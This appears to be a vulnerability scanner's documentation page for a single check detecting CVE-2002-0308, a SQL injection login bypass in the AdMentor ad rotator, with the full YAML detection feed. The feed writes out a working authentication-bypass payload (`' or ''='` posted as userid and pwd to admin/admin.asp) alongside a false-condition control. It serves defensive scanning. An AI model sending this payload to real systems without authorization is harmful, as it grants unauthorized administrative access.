AdMentor — 1 vulnerability check

noctis ships 1 vulnerability check for AdMentor, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

AdMentor admin.asp login SQL injection authentication bypass

CVECVE-2002-0308
Severitycritical · CVSS 10.0
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/admentor/CVE-2002-0308.yaml

Detects the SQL injection in the AdMentor ad rotator's admin login page (admin/admin.asp?login=yes), which lets anyone open the administration menu without credentials. For each common install directory, the feed first posts a false condition of the same shape (`' or '<random>'='<other random>`) as user name and password and checks that the admin menu is refused, then posts the always-true condition `' or ''='`. The finding fires only when the true condition returns the AdMentor admin menu ("Welcome", "Admin interface", "AdMentor Menu") and the false one did not, which proves the input is evaluated inside the login SQL query. Both requests are ordinary login attempts; nothing is changed on the target.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/admin/admin.asp?login=yes
  3. HTTP(S) request POST {{dir}}/admin/admin.asp?login=yes with a crafted body
  4. HTTP(S) request POST {{dir}}/admin/admin.asp?login=yes with a crafted body
  5. Parses / computes the next value with a Rhai script
  6. Checks inj.body for AdMentor Menu → finding QoD 75: AdMentor SQL injection login bypass at …/admin/admin.asp?login=yes: userid/pwd = ' or ''=' returned the admin menu (Welcome / Admin interfa…

References:

Feed source — tests/vulnerabilities/admentor/CVE-2002-0308.yaml
# AdMentor 2.11 admin.asp login SQL injection authentication bypass (CVE-2002-0308)
#
# Ported from OpenVAS/Greenbone NVT `pre2008/admentor_login_flaw.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.10880, GPL-2.0-only). AdMentor builds the admin
# login query by concatenating the `userid` / `pwd` form fields, so
# `' or ''='` in both turns the WHERE clause into a tautology and the admin
# menu is served without credentials.
#
# Request (from the NASL): POST <dir>/admin/admin.asp?login=yes with
#   userid=%27+or+%27%27%3D%27&pwd=%27+or+%27%27%3D%27&B1=Submit
# and the admin page markers it checks: "Welcome", "Admin interface",
# "AdMentor Menu".
#
# Detection, per install directory (/admentor, /ads/admentor as in the NASL,
# plus /ads, /scripts, /cgi-bin and the web root):
#   1. GET admin.asp?login=yes must answer 200 (the NASL's is_cgi_installed).
#   2. Control: the same POST with a FALSE condition of the same shape
#      (`' or '<r1>'='<r2>` with two different random strings) must reach the
#      server and must NOT return the admin menu.
#   3. Injection: the tautology POST must return all three admin markers.
#
# Better than the NASL: the NASL reports any page carrying the three markers
# after the POST, so an admin page already open without authentication, or a
# login that accepts anything, is reported as SQL injection. The false-condition
# control proves the WHERE clause is evaluated (only the true condition logs
# in), and the feed also tries /ads, /scripts, /cgi-bin and the web root.
# Nothing is written: both POSTs are plain login attempts.
uid: 52301678-f251-4e82-9281-c6c6e4eeb57a
name: "AdMentor admin.asp login SQL injection authentication bypass (CVE-2002-0308)"
description: |
  Detects the SQL injection in the AdMentor ad rotator's admin login page
  (admin/admin.asp?login=yes), which lets anyone open the administration menu
  without credentials. For each common install directory, the feed first
  posts a false condition of the same shape (`' or '<random>'='<other random>`)
  as user name and password and checks that the admin menu is refused, then
  posts the always-true condition `' or ''='`. The finding fires only when the
  true condition returns the AdMentor admin menu ("Welcome", "Admin
  interface", "AdMentor Menu") and the false one did not, which proves the
  input is evaluated inside the login SQL query. Both requests are ordinary
  login attempts; nothing is changed on the target.
cves: [CVE-2002-0308]
cvss: 10.0
severity: critical
category: sqli
confidence_base: 0.30
tags: [admentor, asp, sqli, auth-bypass, web-application-abuses]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2002-0308"
  - "OpenVAS/Greenbone NASL pre2008/admentor_login_flaw.nasl (GPL-2.0-only)"

steps:
  # Random strings for the false-condition control (r1 != r2).
  - id: gen-control
    action: script
    code: |
      let r1 = rand_str(8);
      let r2 = rand_str(8);
      while r1 == r2 { r2 = rand_str(8); }
      #{ r1: r1, r2: r2 }
    store_as: ctlv

  # Loop group: every following step runs once per directory. Pre-initialise
  # the stored results so a failed request never leaves them undefined (or
  # holding the previous directory's reply).
  - id: init-page
    action: set_var
    var_name: page
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["/admentor", "/ads/admentor", "/ads", "", "/scripts", "/cgi-bin"]

  - id: init-ctl
    action: set_var
    var_name: ctl
    var_value: {status: 0, body: ""}

  - id: init-inj
    action: set_var
    var_name: inj
    var_value: {status: 0, body: ""}

  - id: login-page
    action: http_request
    method: GET
    path: "{{dir}}/admin/admin.asp?login=yes"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    store_as: page

  # Control: same shape, false condition — a vulnerable login must refuse it.
  - id: control
    action: http_request
    method: POST
    path: "{{dir}}/admin/admin.asp?login=yes"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "userid=%27+or+%27{{ctlv.r1}}%27%3D%27{{ctlv.r2}}&pwd=%27+or+%27{{ctlv.r1}}%27%3D%27{{ctlv.r2}}&B1=Submit"
    condition: "page.status == 200"
    store_as: ctl

  # Injection: the NASL's tautology in both fields.
  - id: inject
    action: http_request
    method: POST
    path: "{{dir}}/admin/admin.asp?login=yes"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "userid=%27+or+%27%27%3D%27&pwd=%27+or+%27%27%3D%27&B1=Submit"
    condition: "page.status == 200 && ctl.status != 0"
    store_as: inj

  - id: verdict
    action: script
    code: |
      let b = if type_of(inj.body) == "string" { inj.body } else { "" };
      let c = if type_of(ctl.body) == "string" { ctl.body } else { "" };
      let menu = b.contains("Welcome") && b.contains("Admin interface") && b.contains("AdMentor Menu");
      let ctl_menu = c.contains("Admin interface") || c.contains("AdMentor Menu");
      ctl.status != 0 && menu && !ctl_menu
    store_as: bypass

  - id: detect
    action: match
    source: inj.body
    pattern: "AdMentor Menu"
    condition: "bypass"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "AdMentor SQL injection login bypass at {{dir}}/admin/admin.asp?login=yes: userid/pwd = ' or ''=' returned the admin menu (Welcome / Admin interface / AdMentor Menu) while the same-shape false condition ' or '{{ctlv.r1}}'='{{ctlv.r2}}' was refused"
      stop: true

View these feeds on GitHub